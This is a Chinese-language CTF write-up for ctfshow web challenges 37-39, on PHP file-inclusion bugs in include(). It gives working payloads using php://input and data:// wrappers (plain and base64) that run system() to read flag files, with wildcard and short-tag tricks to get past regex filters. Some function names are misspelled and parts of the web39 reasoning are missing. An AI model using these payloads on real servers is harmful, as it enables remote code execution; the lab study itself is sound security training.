ctfshow web入门 命令执行 37-39
37-39 基于 GET 传参的 include()
38、39 是 37 的变种
分析
伪协议常用于文件包含漏洞中
文件包含函数有:include、include_once、require、require_once、
highlight_fire、show_source、
fire_get_contents、fopen、file、readfire
web37
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
ctf中常用 php://filter 与 php://input ,但由于flag被屏蔽,这里使用php://input
payload
法一
使用 php://input 伪协议
get c=php://input
post <?=system('cat flag.php')?>
法二
使用 data:// 伪协议
c=data://text/plain,<?php system("tac fl*g.php");?> //对 flag 进行通配符匹配
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== //使用base64对 <?php system('cat flag.php')?> 进行编码
web38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
在 web37 的基础上屏蔽 php、file
payload
//使用 data:// 伪协议
变一
使用 base64 编码
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
变二
利用php短标签替换长标签,通配符代替 php
c=data://text/plain,<?=system('cat f*')?>
web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在 web37 的基础上拼接 .php,想达到屏蔽 .php 的效果,但在实际情况下根本没有达到预期的效果
原因
代码
输出结果
又或者
结果还是一致
说明,使用字符拼接时,会先进行计算
验证猜想
发现一个bug,这里对 $q-$w 取绝对值,并无视了后续内容
对后面部分加上括号,结果正常
添加字母,为了更好的区分,这里很明显,对 $q-$w 取绝对值, ' T'.$q+$w 内容不显示
加上括号正常显示,对于这个意外的情况,我暂时解释不了
对于我们的题目是先进行赋值,在进行字符拼接,因此和 web37 并无二异,payload 与 web37 一致
c=data://text/plain,<?php system("cat fl*g.php");?>
include($c.".php");
参考
https://blog.csdn.net/m0_51507437/article/details/122777966